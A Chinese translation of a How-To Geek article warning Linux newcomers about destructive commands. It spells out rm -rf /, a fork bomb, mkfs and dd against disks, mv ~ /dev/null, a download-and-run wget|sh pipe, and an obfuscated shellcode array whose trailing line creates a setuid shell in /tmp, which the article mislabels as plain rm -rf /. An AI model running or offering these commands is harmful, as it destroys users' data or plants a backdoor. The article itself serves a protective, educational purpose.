Linux的终端命令是非常强大的,并且当你运行一个不会打断你系统运行的命令的时候Linux将不会请求你的许可。当然在网络上也不乏有人强烈推荐Linux新手去运行这些命令并把它当做笑柄。
学习这些绝对不能运行的命令,将帮助你远离那些爱搞恶作剧的人,并同时加深你对Linux系统工作的原理。这不是一个详尽的说明,并且这些命令可能以不同的方式去组合。
下面列出的这些命令将只会在Ubuntu上以sudo运行时才会造成危险——否则他们将不会工作。在其他的Linux发行版上,大多数都需要以root权限运行。
感谢骷髅图标的提供者——来自Twitter的Jason Ford。
rm -rf /– 删掉所有东西!
rm -rf /命令将会删掉一切可以删除的东西,包括你的硬盘以及可移动磁盘。这个命令如果拆开来看会更加便于理解:
rm ——删除文件。
-rf ——以循环的方式执行rm(删除指定目录内部的所有文件和文件夹),并且强制删除所有文件并且不进行确认。
/ ——告诉rm命令从根目录开始执行,而根目录包含了你电脑上的所有文件。
Linux会很开心地执行执行这条命令然后在不告知你的情况下删除所有文件,所以在使用的时候必须十分小心。而且rm命令还有其他危险的用法——比如rm –rf ~ ,删除你的主目录的所有文件,再比如rm -rf .* ,会删除你的所有配置文件。
教训:当心rm –rf。
伪装的 rm -rf /
这里是网络上广为流传的一段代码:
char esp[] __attribute__ ((section(“.text”))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00″
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;″;
这是rm -rf /的十六进制形式,执行这个命令也会像rm –rf / 一样抹掉你的所有文件。
教训:不要运行一些奇怪的东东,尤其是具有迷惑性的你看不懂的伪装代码。
:(){ :|: & };: ——叉路炸弹
下面这行命令可能看起来很简单,但却是一个危险的bash函数:
:(){ :|: & };:
这简短的一行命令定义了一个能创建自己的一个新副本的shell函数,进程会持续复制自己产生新的副本,它的副本同样也在复制自己产生新的副本,很快就会占用完你的CPU时间以及内存,这就会导致你的电脑慢如蜗牛。从本质上说是一种阻断式服务攻击。
教训:bash命令非常强大,甚至是很短的一段。
mkfs.ext4 /dev/sda1 ——格式化硬盘分区
mkfs.ext4 /dev/sda1命令很好理解:
mkfs.ext4 ——在下面指定的地方创建一个新的ext4文件系统。
/dev/sda1 ——指定第一块硬盘的第一个分区,甚至可能是正在使用的。
合起来看,这个命令就好比是在Windows上运行format C: 一样——它将会抹掉你第一块硬盘的第一分区并且用一个新的文件系统替代。
这条命令也会有其他的形式,比如——mkfs.ext3 /dev/sdb2 就会以ext3文件系统格式化第二块硬盘的第二分区。
教训:小心运行那些在硬盘分区指向中存在 /dev/sd (译者注:当然你的硬盘分区如果挂载到其他地点也要小心!)的命令。
command > /dev/sda ——直接对硬盘进行写入操作
command > /dev/sda 命令工作起来类似——它将会运行一条命令然后将命令输出结果直接写入你的第一块硬盘,将数据直接写入硬盘的后果就是破坏文件系统。
command —— 运行一条命令(可以是任何命令)。
> ——将命令运行结果传递到以下位置。
/dev/sda ——将输出结果直接写入硬盘驱动器。
教训:就像上面说到的那样,当心运行一条以/dev/sd开头的硬盘驱动器的命令。
dd if=/dev/random of=/dev/sda—— 向硬盘上写入垃圾
dd if=/dev/random of=/dev/sda这条命令同样会覆盖你硬盘上的数据。
dd – 从一个地方到另一个地方的低级文件复制指令。(译者引:把指定的输入文件拷贝到指定的输出文件中,并且在拷贝过程中可以进行格式转换。可以用该命令实现DOS下的diskcopy命令的作用。)
if=/dev/random ——使用 /dev/random (随机数据)输入——你可能也会看到类似于/dev/zero (zeros) 的地址。
of=/dev/sda 向硬盘的第一分区输出,以垃圾数据代替文件系统。
教训:dd命令可以从一个地方向另一个地方拷贝数据,在你直接向设备写入的时候会变得很危险。
mv ~ /dev/null—— 将你的主文件夹移到无底深渊
/dev/null 是另一个特殊的地址——将文件移动到/dev/null就相当于销毁它。把/dev/null想做一个无底洞。根本来说mv ~ /dev/null 会把你的所有个人文件全部送到无底洞。
mv —— 把指定的文件夹从一处移到另一处。
~ —— 代表你的整个home文件夹。
/dev/null – 将你的文件移到 /dev/null , 毁掉你的文件以及原始数据。
教训:~ 符号代表你的home文件夹,移动到/dev/null就相当于毁掉它。
wget http://example.com/something -O – | sh——下载并运行一个脚本
上面的命令会从网上下载一个脚本并发给可以执行脚本内容的sh。这在你不能确定这个脚本的来源是否可靠的情况下变得十分危险——千万不要运行非信任的脚本。
wget ——下载一个文件 (你也可能见到以curl代替wget的命令)。
http://example.com/something —— 从这个位置下载文件。
| ——将wget命令的结果(也就是你下载的文件)直接发送到另一个命令。
sh ——将文件发送到sh命令,当文件是脚本时执行。
教训:千万别从网上下载运行不可信任的脚本,甚至是一条命令。
也许你知道更多那些年把我们坑惨的linux命令?回个帖分享一下吧!
翻译自How-To-Geek(原文链接:http://www.howtogeek.com/125157/8-deadly-commands-you-should-never-run-on-linux/)